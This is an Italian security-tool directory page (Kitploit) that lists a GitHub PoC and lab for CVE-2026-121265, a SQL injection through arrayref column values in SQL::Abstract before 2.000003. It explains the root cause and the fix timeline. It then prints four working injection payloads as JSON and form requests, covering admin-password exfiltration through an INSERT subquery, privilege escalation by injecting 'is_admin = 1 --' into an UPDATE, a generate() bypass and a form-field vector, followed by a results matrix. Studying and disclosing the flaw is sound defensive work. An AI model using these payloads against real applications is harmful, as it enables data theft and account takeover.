Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/googlesky/cve-2026-121265
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebSicurezza dei DatabaseLab e Pratica
GitHubgooglesky/cve-2026-121265

CVE-2026-121265

PoC e laboratorio containerizzato per CVE-2026-121265, un'iniezione SQL arrayref in SQL::Abstract precedente alla 2.000003, con esfiltrazione tramite INSERT/UPDATE, escalation di privilegi e vettori generate().

Vedi Repository
2 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    331

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-121265: SQL injection tramite arrayref in SQL::Abstract

Causa principale: con l'opzione array_datatypes disattivata (l'impostazione predefinita prima della 2.000002), SQL::Abstract tratta un valore di colonna arrayref come SQL letterale in insert(), update() e values(): l'elemento [0] finisce nel testo SQL senza escape e i restanti diventano valori bind. Un attaccante che controlla un qualsiasi valore di colonna -- ad esempio un array JSON in un corpo di richiesta, o un campo di form ripetuto/multivalore decodificato come arrayref -- ottiene un'iniezione SQL non autenticata in qualsiasi applicazione che passa dati di richiesta a insert/update. La stessa vulnerabilità è sopravvissuta al primo ciclo di patch in generate() (e quindi in AUTOLOAD quando allow_autoload è attivo), motivo per cui l'advisory copre ogni release precedente alla 2.000003.

CVECVE-2026-121265
AdvisoryCPAN Security Group, oss-sec 2026-11-07
CWECWE-89 (SQL Injection)
AffectedSQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05)
Fixed2.000003 (generate() corretto; la 2.000002 ha corretto insert/update/values + invertito il default di array_datatypes ma ha mancato generate())
ImpactSQL injection completa: esfiltrazione di dati, escalation di privilegi, manomissione dello schema
Referenceshttps://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract

1. Causa principale

SQL-Abstract-2.000001, _expand_insert_value():

if (ref($v) eq 'ARRAY') {
    if ($self->{array_datatypes}) {
        return +{ -bind => [ $k, $v ] };
    }
    my ($sql, @bind) = @$v;
    $self->_assert_bindval_matches_bindtype(@bind);
    return +{ -literal => $v };   # <-- element [0] inlined into the SQL text, unescaped
}

Lo stesso identico schema era presente in _expand_update_set_values() e in generate() (sia nel ramo hashref "$label = $sql" che nel ramo arrayref):

$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+:           UPDATE t SET name = ?          (bind: ['x, is_admin = 1'])

$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002:            UPDATE T SET name = (SELECT password FROM users)   <-- still vulnerable
# 2.000003:            UPDATE T SET name = ?                               (bind)

Cronologia delle correzioni (dalle modifiche 2.000002 / 2.000003):

  • 2.000001_05 (2026-11-03): correzione incompleta.
  • 2.000002 (2026-11-05): array_datatypes attivo per impostazione predefinita; insert() / update() / values() corretti. generate() lasciato non trattato.
  • 2.000003 (2026-11-06): generate() (e AUTOLOAD) corretti; \[ $sql, @bind ] diventa la forma SQL letterale documentata.

Un attaccante raggiunge il valore arrayref tramite qualsiasi decoder che ne produca uno:

  • Corpo JSON: {"email": ["(SELECT ...)"]} → arrayref.
  • Dati di form: campi ripetuti / every_param() / param() in contesto di lista (CGI.pm, Catalyst, Mojolicious, ...).

2. Lab

Lab A/B containerizzato (podman). Un'immagine per ogni versione di SQL::Abstract, più una build ARRAY_DATATYPES=0 di 2.000003 per esercitare il bypass.

cve-target (bounded)                       cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver>                  same image as runtime + ./poc:/poc
- debian:bookworm-slim                     perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl  JSON API "Corp Portal"

Endpoint:

EndpointSinkUsato da
POST /api/registerinsert() dal corpo JSONPoC 1
POST /api/register-forminsert() dal form (arrayref every_param)PoC 4
POST /api/me/updateupdate() dal corpo JSONPoC 2
POST /api/save-formgenerate() per costruire una clausola SETPoC 3
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secretsparametrizzatoesfiltrazione / impatto
cd lab
./run_matrix.sh     # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all    # run PoC 1..4 against the running target

3. PoC

PoC 1 -- Iniezione INSERT, esfiltrazione della password admin (poc/poc1_insert_exfil.pl)

POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}

SQL generato (2.000001): INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- il risultato della sottoquery viene memorizzato come email dell'attaccante e restituito nel profilo: FLAG{adm1n_p4ssw0rd_51337}.

PoC 2 -- Iniezione UPDATE, escalation dei privilegi (poc/poc2_update_escalate.pl)

POST /api/me/update            (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}

SQL generato: UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ? Il -- commenta il resto dell'istruzione (DBD::SQLite ignora silenziosamente i valori di bind ora inutilizzati). L'utente normale diventa admin e legge GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.

PoC 3 -- generate() / AUTOLOAD injection (poc/poc3_generate_autoload.pl)

POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}

L'endpoint costruisce una clausola SET con generate() e la inserisce in un UPDATE. Funziona su 2.000001 e ancora su 2.000002, dove insert()/update() erano già stati corretti -- prova diretta che 2.000002 rimane sfruttabile tramite l'ultimo percorso corretto in 2.000003.

PoC 4 -- vettore form-urlencoded (poc/poc4_form_array.pl)

POST /api/register-form   (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')

every_param('tags') restituisce un arrayref -> la stessa primitiva dell'array JSON, nessun JSON coinvolto.

4. Matrice dei risultati

Trascrizioni complete in evidence/. Codice di uscita 0 = sfruttamento riuscito.

PoC2.0000012.0000022.0000032.000003 + array_datatypes=0
PoC 1 INSERT exfil✅❌❌✅ bypass
PoC 2 UPDATE escalation✅❌❌✅ bypass
PoC 3 generate()✅✅❌✅ bypass
PoC 4 form✅❌❌✅ bypass

5. Ulteriori riscontri

Scarica lo strumento